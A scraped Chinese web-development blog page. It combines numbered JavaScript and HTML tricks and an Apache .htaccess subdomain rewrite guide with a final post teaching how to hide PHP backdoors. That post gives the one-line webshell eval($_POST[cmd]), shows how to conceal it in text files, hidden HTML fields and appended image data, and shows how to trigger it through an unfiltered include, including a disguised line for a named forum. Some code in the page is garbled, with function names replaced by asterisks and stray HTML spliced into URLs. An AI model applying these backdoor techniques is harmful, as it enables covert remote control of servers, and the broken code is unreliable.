window.onerror = killErrors;
// –>
</SCRIPT>
35.ENTER键可以让光标移到下一个输入框
<input onkeydown=”if(event.keyCode==13)event.keyCode=9″>
36. 检测某个网站的链接速度:
把如下代码加入 <body>区域中:
<script language=Javascript>
tim=1
setInterval(“tim++”,100)
b=1
var autourl=new Array()
autourl[1]=1000){this.resized=true;this.style.width=1000;}” align=absMiddle border=0>www.njcatv.net”
autourl[2]=”javacool.3322.net”
autourl[3]=1000){this.resized=true;this.style.width=1000;}” align=absMiddle border=0>www.sina.com.cn”
autourl[4]=”www.nuaa.edu.cn”
autourl[5]=1000){this.resized=true;this.style.width=1000;}” align=absMiddle border=0>www.cctv.com”
function butt(){
***(” <form name=autof>”)
for(var i=1;i <autourl.length;i++)
***(” <input type=text name=txt”+i+” size=10 value=”/测试中……> =》 <input type=text
name=url”+i+” size=40> =》 <input type=button value=”/demoblog/GO
onclick=window.open(this.form.url”+i+”.value)> <br>”)
***(” <input type=submit value=刷新> </form>”)
}
butt()
function auto(url){
document.forms[0]["url"+b].value=url
if(tim>200)
{document.forms[0]["txt"+b].value=”/链接超时”}
else
{document.forms[0]["txt"+b].value=”/demoblog/时间”+tim/10+”秒”}
b++
}
function run(){for(var i=1;i <autourl.length;i++)***(” <img src=http://”+autourl+”/”+Math.random()+” width=1 height=1
onerror=auto(“http://”+autourl+”")>”)}
run() </script>
37. 各种样式的光标
auto :标准光标
default :标准箭头
hand :手形光标
wait :等待光标
text :I形光标
vertical-text :水平I形光标
no-drop :不可拖动光标
not-allowed :无效光标
help :?帮助光标
all-scroll :三角方向标
move :移动标
crosshair :十字标
e-resize
n-resize
nw-resize
w-resize
s-resize
se-resize
sw-resize
38.页面进入和退出的特效
进入页面 <meta http-equiv=”Page-Enter” content=”revealTrans(duration=x, transition=y)”>
推出页面 <meta http-equiv=”Page-Exit” content=”revealTrans(duration=x, transition=y)”>
这个是页面被载入和调出时的一些特效。duration表示特效的持续时间,以秒为单位。transition表示使用哪种特效,取值为1-23:
0 矩形缩小
1 矩形扩大
2 圆形缩小
3 圆形扩大
4 下到上刷新
5 上到下刷新
6 左到右刷新
7 右到左刷新
8 竖百叶窗
9 横百叶窗
10 错位横百叶窗
11 错位竖百叶窗
12 点扩散
13 左右到中间刷新
14 中间到左右刷新
15 中间到上下
16 上下到中间
17 右下到左上
18 右上到左下
19 左上到右下
20 左下到右上
21 横条
22 竖条
23 以上22种随机选择一种
39.在规定时间内跳转
<META http-equiv=V=”REFRESH” content=”5;URL=http://www.51js.com”>
40.网页是否被检索
<meta name=”ROBOTS” content=”属性值”>
其中属性值有以下一些:
属性值为”all”: 文件将被检索,且页上链接可被查询;
属性值为”none”: 文件不被检索,而且不查询页上的链接;
属性值为”index”: 文件将被检索;
属性值为”follow”: 查询页上的链接;
属性值为”noindex”: 文件不检索,但可被查询链接;
属性值为”nofollow”: 文件不被检索,但可查询页上的链接。
41、email地址的分割
把如下代码加入 <body>区域中
<a href=”mailto:webmaster@sina.com”>webmaster@sina.com </a>
42、流动边框效果的表格
把如下代码加入 <body>区域中
<SCRIPT>
l=Array(6,7,8,9,’a',’b',’b',’c',’d',’e',’f')
Nx=5;Ny=35
t=” <table border=0 cellspacing=0 cellpadding=0 height=”+((Nx+2)*16)+”> <tr>”
for(x=Nx;x <Nx+Ny;x++)
t+=” <td width=16 id=a_mo”+x+”> </td>”
t+=” </tr> <tr> <td width=10 id=a_mo”+(Nx-1)+”> </td> <td colspan=”+(Ny-2)+” rowspan=”+(Nx)+”> </td> <td width=16 id=a_mo”+(Nx+Ny)+”> </td> </tr>”
for(x=2;x <=Nx;x++)
t+=” <tr> <td width=16 id=a_mo”+(Nx-x)+”> </td> <td width=16 id=a_mo”+(Ny+Nx+x-1)+”> </td> </tr>”
t+=” <tr>”
for(x=Ny;x>0;x–)
t+=” <td width=16 id=a_mo”+(x+Nx*2+Ny-1)+”> </td>”
***(t+” </tr> </table>”)
var N=Nx*2+Ny*2
function f1(y){
for(i=0;i <N;i++){
c=(i+y)%20;if(c>10)c=20-c
document.all["a_mo"+(i)].bgColor=”"”"#0000″+l[c]+l[c]+”‘”}
y++
setTimeout(‘f1(‘+y+’)',’1′)}
f1(1)
</SCRIPT>
43、JavaScript主页弹出窗口技巧
窗口中间弹出
<script>
window.open(“http://www.cctv.com”,”",”width=400,height=240,top=”+(screen.availHeight-240)/2+”,left=”+(screen.availWidth-400)/2);
</script>
============
<html>
<head>
<script language=”LiveScript”>
function WinOpen() {
msg=open(“”,”DisplayWindow”,”toolbar=no,directories=no,menubar=no”);
msg.***(” <HEAD> <TITLE>哈 罗! </TITLE> </HEAD>”);
msg.***(” <CENTER> <H1>酷 毙 了! </H1> <h2>这 是 <B>JavaScript </B>所 开 的 视 窗! </h2> </CENTER>”);
}
</script>
</head>
<body>
<form>
<input type=”button” name=”Button1″ value=”Push me” onclick=”WinOpen()”>
</form>
</body>
</html>
==============
一、在下面的代码中,你只要单击打开一个窗口,即可链接到赛迪网。而当你想关闭时,只要单击一下即可关闭刚才打开的窗口。
代码如下:
<SCRIPT language=”JavaScript”>
<!–
function openclk() {
another=open(‘1000){this.resized=true;this.style.width=1000;}” align=absMiddle border=0>http://www.ccidnet.com’,’NewWindow’);
}
function closeclk() {
another.close();
}
//–>
</SCRIPT>
<FORM>
<INPUT TYPE=”BUTTON” NAME=”open” value=”/打开一个窗口” onClick=”openclk()”>
<BR>
<INPUT TYPE=”BUTTON” NAME=”close” value=”/demoblog/关闭这个窗口” onClick=”closeclk()”>
</FORM>
二、上面的代码也太静了,为何不来点动感呢?如果能给页面来个降落效果那该多好啊!
代码如下:
<script>
function drop(n) {
if(self.moveBy){
self.moveBy (0,-900);
for(i = n; i > 0; i–){
self.moveBy(0,3);
}
for(j = 8; j > 0; j–){
self.moveBy(0,j);
self.moveBy(j,0);
self.moveBy(0,-j);
self.moveBy(-j,0);
}
}
}
</script>
<body onLoad=”drop(300)”>
三、讨厌很多网站总是按照默认窗口打开,如果你能随心所欲控制打开的窗口那该多好。
代码如下:
<SCRIPT LANGUAGE=”JavaScript”>
<!– Begin
function popupPage(l, t, w, h) {
var windowprops = “location=no,scrollbars=no,menubars=no,toolbars=no,resizable=yes” +
”,left=” + l + “,top=” + t + “,width=” + w + “,height=” + h;
var URL = “http://www.80cn.com”;
popup = window.open(URL,”MenuPopup”,windowprops);
}
// End –>
</script>
<table>
<tr>
<td>
<form name=popupform>
<pre>
打开页面的参数 <br>
离开左边的距离: <input type=text name=left size=2 maxlength=4> pixels
离开右边的距离: <input type=text name=top size=2 maxlength=4> pixels
窗口的宽度: <input type=text name=width size=2 maxlength=4> pixels
窗口的高度: <input type=text name=height size=2 maxlength=4> pixels
</pre>
<center>
<input type=button value=”打开这个窗口!” onClick=”popupPage(this.form.left.value, this.form.top.value, this.form.width.value,
this.form.height.value)”>
</center>
</form>
</td>
</tr>
</table>你只要在相对应的对话框中输入一个数值即可,将要打开的页面的窗口控制得很好。
44、页面的打开移动
把如下代码加入 <body>区域中
<SCRIPT LANGUAGE=”JavaScript”>
<!– Begin
for (t = 2; t > 0; t–) {
for (x = 20; x > 0; x–) {
for (y = 10; y > 0; y–) {
parent.moveBy(0,-x);
}
}
for (x = 20; x > 0; x–) {
for (y = 10; y > 0; y–) {
parent.moveBy(0,x);
}
}
for (x = 20; x > 0; x–) {
for (y = 10; y > 0; y–) {
parent.moveBy(x,0);
}
}
for (x = 20; x > 0; x–) {
for (y = 10; y > 0; y–) {
parent.moveBy(-x,0);
}
}
}
//–>
// End –>
</script>
45、显示个人客户端机器的日期和时间
<script language=”LiveScript”>
<!– Hiding
today = new Date()
***(“现 在 时 间 是: “,today.getHours(),”:”,today.getMinutes())
***(” <br>今 天 日 期 为: “, today.getMonth()+1,”/”,today.getDate(),”/”,today.getYear());
// end hiding contents –>
</script>
46、自动的为你每次产生最後修改的日期了:
<html>
<body>
This is a simple HTML- page.
<br>
Last changes:
<script language=”LiveScript”>
<!– hide script from old browsers
***(document.lastModified)
// end hiding contents –>
</script>
</body>
</html>
47、不能为空和邮件地址的约束:
<html>
<head>
<script language=”JavaScript”>
<!– Hide
function test1(form) {
if (form.text1.value == “”)
alert(“您 没 写 上 任 何 东 西, 请 再 输 入 一 次 !”)
else {
alert(“嗨 “+form.text1.value+”! 您 已 输 入 完 成 !”);
}
}
function test2(form) {
if (form.text2.value == “” ||
form.text2.value.indexOf(‘@’, 0) == -1)
alert(“这 不 是 正 确 的 e-mail address! 请 再 输 入 一 次 !”);
else alert(“您 已 输 入 完 成 !”);
}
// –>
</script>
</head>
<body>
<form name=”first”>
Enter your name: <br>
<input type=”text” name=”text1″>
<input type=”button” name=”button1″ value=”输 入 测 试” onClick=”test1(this.form)”>
<P>
Enter your e-mail address: <br>
<input type=”text” name=”text2″>
<input type=”button” name=”button2″ value=”输 入 测 试” onClick=”test2(this.form)”>
</body>
48、跑马灯
<html>
<head>
<script language=”JavaScript”>
<!– Hide
var scrtxt=”怎麽样 ! 很酷吧 ! 您也可以试试.”+”Here goes your message the visitors to your
page will “+”look at for hours in pure fascination…”;
var lentxt=scrtxt.length;
var width=100;
var pos=1-width;
function scroll() {
pos++;
var scroller=”";
if (pos==lentxt) {
pos=1-width;
}
if (pos <0) {
for (var i=1; i <=Math.abs(pos); i++) {
scroller=scroller+” “;}
scroller=scroller+scrtxt.substring(0,width-i+1);
}
else {
scroller=scroller+scrtxt.substring(pos,width+pos);
}
window.status = scroller;
setTimeout(“scroll()”,150);
}
//–>
</script>
</head>
<body onLoad=”scroll();return true;”>
这里可显示您的网页 !
</body>
</html>
49、在网页中用按钮来控制前页,后页和主页的显示。
<html>
<body>
<FORM NAME=”buttonbar”>
<INPUT TYPE=”button” VALUE=”Back” onClick=”history.back()”>
<INPUT TYPE=”button” VALUE=”JS- Home” onClick=”location=’script.html’”>
<INPUT TYPE=”button” VALUE=”Next” onCLick=”history.forward()”>
</FORM>
</body>
</html>
50、查看某网址的源代码
把如下代码加入 <body>区域中
<SCRIPT>
function add()
{
var ress=document.forms[0].luxiaoqing.value
window.location=”view-source:”+ress;
}
</SCRIPT>
输入要查看源代码的URL地址:
<FORM> <input type=”text” name=”luxiaoqing” size=40 value=”http://”> </FORM>
<FORM> <br>
<INPUT type=”button” value=”查看源代码” onClick=add()>
</FORM>
51、title显示日期
把如下代码加入 <body>区域中:
<script language=”JavaScript1.2″>
<!–hide
var isnMonth = new
Array(“1月”,”2月”,”3月”,”4月”,”5月”,”6月”,”7月”,”8月”,”9月”,”10月”,”11月”,”12月”);
var isnDay = new
Array(“星期日”,”星期一”,”星期二”,”星期三”,”星期四”,”星期五”,”星期六”,”星期日”);
today = new Date () ;
Year=today.getYear();
Date=today.getDate();
if (document.all)
document.title=”今天是: “+Year+”年”+isnMonth[today.getMonth()]+Date+”日”+isnDay[today.getDay()]
//–hide–>
</script>
52、显示所有链接
把如下代码加入 <body>区域中
<script language=”JavaScript1.2″>
<!–
function extractlinks(){
var links=document.all.tags(“A”)
var total=links.length
var win2=window.open(“”,”",”menubar,scrollbars,toolbar”)
win2.***(” <font size=’2′>一共有”+total+”个连接 </font> <br>”)
for (i=0;i <total;i++){
win2.***(” <font size=’2′>”+links[i].outerHTML+” </font> <br>”)
}
}
//–>
</script>
<input type=”button” onClick=”extractlinks()” value=”显示所有的连接”>
53、回车键换行
把如下代码加入 <body>区域中
<script type=”text/javascript”>
function handleEnter (field, event) {
var keyCode = event.keyCode ? event.keyCode : event.which ?
event.which : event.charCode;
if (keyCode == 13) {
var i;
for (i = 0; i < field.form.elements.length; i++)
if (field == field.form.elements[i])
break;
i = (i + 1) % field.form.elements.length;
field.form.elements[i].focus();
return false;
}
else
return true;
}
</script>
<form>
<input type=”text” onkeypress=”return handleEnter(this, event)”> <br>
<input type=”text” onkeypress=”return handleEnter(this, event)”> <br>
<textarea>回车换行
54、确认后提交
把如下代码加入 <body>区域中
<SCRIPT LANGUAGE=”JavaScript”>
<!–
function msg(){
if (confirm(“你确认要提交嘛!”))
document.lnman.submit()
}
//–>
</SCRIPT>
<form name=”lnman” method=”post” action=”">
<p>
<input type=”text” name=”textfield” value=”确认后提交”>
</p>
<p>
<input type=”button” name=”Submit” value=”提交” onclick=”msg();”>
</p>
</form>
55、改变表格的内容
把如下代码加入 <body>区域中
<script ***script>
var arr=new Array()
arr[0]=”一一一一一”;
arr[1]=”二二二二二”;
arr[2]=”三三三三三”;
</script>
<select onchange=”zz.cells[this.selectedIndex].innerHTML=arr[this.selectedIndex]“>
<option value=a>改变第一格 </option>
<option value=a>改变第二格 </option>
<option value=a>改变第三格 </option>
</select>
<table id=zz border=1>
<tr height=20>
<td width=150>第一格 </td>
<td width=150>第二格 </td>
<td width=150>第三格 </td>
</tr>
</table>
转载出处:http://blog.csdn.net/java060515/archive/2007/08/09/1733396.aspx
使用.htaccess的重定向部署二级域名【推荐】
作者: 如意 盒 | 发布时间: 星期二, 06/15/2010 - 18:43www.domain.com直接到根目录下
别的二级域名如
xyz.domain.com到根目录下的xyz目录。
实现:
配置apache的http.conf文件,
->取消164行LoadModule rewrite_module modules/mod_rewrite.so前的#号
->文件最后
RewriteEngine on
RewriteCond %{HTTP_HOST} ^www\.xieye\.com$
RewriteRule ^(.+) /$1 [L]
RewriteCond %{HTTP_HOST} [^.]+\.xieye\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1 [C]
RewriteRule ([^.]+)\.xieye\.com(.*) /$1$2
20070704再度修改
# 配置 Apache重定向模块 用于二级域名解析 xieye 20080704
RewriteEngine on
# 主站,url是www.xieye.com
RewriteCond %{HTTP_HOST} ^www\.xieye\.com$
RewriteRule ^(.+) /$1 [L]
# 专业子站 url是gongsi.xieye.com/
# 专业子站,进入 例如 specialty/gongsi/ 这样的子目录,但是,如果是找js,css,upload等,则再度返回主站目录
RewriteCond %{HTTP_HOST} ^(gongsi|fangdichan|haishang|hunyin|jianshe|jingji|jingrong|laodong|shewai|sunhai)\.xieye\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1 [C]
RewriteRule ([^.]+)\.xieye\.com(.*) /specialty/$1$2 [C]
RewriteRule /specialty/[^/]+/(ajax|cp|css|fckeditor|images|js|upload)/(.+) /$1/$2 [L]
# 地区分站 url是nanjinglaw.xieye.com/
# 地区分站,进入 例如 area/nanjing/ 这样的子目录,但是,如果是找js,css,upload等,则再度返回主站目录
RewriteCond %{HTTP_HOST} ^([^.]+)law\.xieye\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1 [C]
RewriteRule ([^.]+)law\.xieye\.com(.*) /area/$1$2 [C]
RewriteRule /area/[^/]+/(ajax|cp|css|fckeditor|images|js|upload)/(.+) /$1/$2 [L]
# 博客 url是zhangsan.xieye.com/
# 博客,进入 例如 blog/z/h/angsan/ 这样的子目录,但是,如果是找js,css,upload等,则再度返回主站目录
RewriteCond %{HTTP_HOST} [^.]+\.xieye\.com$
RewriteRule ^(.+) %{HTTP_HOST}$1 [C]
RewriteRule (a-z0-9)(a-z0-9)([^.]+)\.xieye\.com(.*) /demoblog/$1/$2/$3$4
RewriteRule /demoblog/[^/]+/[^/]+/[^/]+/(ajax|cp|css|fckeditor|images|js|upload)/(.+) /$1/$2 [L]
PHP网站后门的隐藏技巧测试报告_PHP技巧
作者: 如意 盒 | 发布时间: 星期二, 06/15/2010 - 07:41要知道如果光把PHP语句放到图片里是无论如何也不能执行的,因为PHP只解析扩展名为php的文件。所以说要能使隐藏在图片里的PHP语句执行。我们就的借助PHP中的调用函数 :include 、require 等。 我们还记得前些日子把木马隐藏到图片的文章吧。也就是在PHP文件里用include(“x.gif”)这样的语句来调用隐藏在图片的木马语句。ASP中语句也类似。看似非常隐蔽但直接调用图片对稍微懂点PHP的人就不难发现可疑之处。由于URL 里用GET方式很难传递参数,这就使得插入木马的性能得不到发挥。 include 函数在PHP中使用的比较频繁,所以引起的安全问题也实在太多,例如PHPWIND1.36的漏洞就是因为include后面的变量没做过滤引起的。由此我们就可以构造类似的语句来插入到PHP文件中。然后把木马隐藏到图片或HTML文件里,可以说隐蔽性就更高了。如在PHPWIND论坛里插入下面的语句:<”?@include includ/.$PHPWIND_ROOT;? <mailto:?@include ‘includ/’.$PHPWIND_ROOT;?>> 一般管理员是无法看出来的。 有了include 函数来辅助帮忙我们就可以把PHP木马隐藏到 诸如 txt、html和图片文件等很多类型的文件里来了。因为txt、html和图片文件这三种类型的文件最无论在论坛还是文章系统里是最为常见的了,下面我们就依次来做测试。 首先建立一PHP文件test.php 文件内容为: <?php $test=$_GET['test']; @include ‘test/’.$test; ?> Txt文件一般都是说明文件,所以我们把一句话木马放到目录的说明文件里就OK了。随便建立一个TXT文件t.txt。我们把一句话木马<?eval($_POST[cmd]);?>粘贴到t.txt文件里。然后访问 http://localhost/test/test.php?test=../t.txt <http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt> 如果你看到t.txt的内容就证明Ok了, 然后把在lanker微型PHP后门客户端 木马地址添入 http://localhost/test/test.php?test=../t.txt <http://localhost/phpw/index.php?PHPWIND_ROOT=../robots.txt> 密码里添入cmd就可以了,执行返回的结果都可以看到。 对于HTML的文件,一般都为模版文件。为了使插入到HTML的文件的木马能被调用执行而且不被显示出来,我们可以在HTML里加入一个隐藏属性的文本框 ,如:<input type=hidden value=”<?eval($_POST[cmd]);?>”> 然后使用方法同上。执行的返回结果一般都可以查看源文件看到。 如使用查看本程序目录功能。查看源文件内容为 <input type=hidden value=”C:\Uniserver2_7s\www\test”> 我可以得到目录为 C:\Uniserver2_7s\www\test。 下面我们说说图片文件,要说最为毒的一招莫过于把木马隐藏到图片里。我们可以直接对一个图片进行编辑,把<?eval($_POST[cmd]);?>插入到图片末尾。 经测试一般都不会对图片造成影响。然后同样方法客户端木马地址添入 <http://localhost/test/test.php?test=../1.jpg> 我们查看PHP环境变量 返回的是结果是原图片。 这里可能要和我们想象的结果有些差距了,其实命令已经运行了,只是返回的结果看不到而已,因为这是真正的GIF文件,所以是不会显示返回结果的,为了证明是否真的执行了命令我们 执行上传文件命令。果不出所料,文件已经成功上传到服务器上。这样伪造的优点是隐蔽性好。缺点也自然不用说了是没回显。如果你想看到返回的结果,那就拿出记事本伪造一个假的图片文件吧。 到这里就基本测试完了,怎样隐蔽PHP后门就看你自己的选择了。行文仓促,如有不妥之处,请指出.








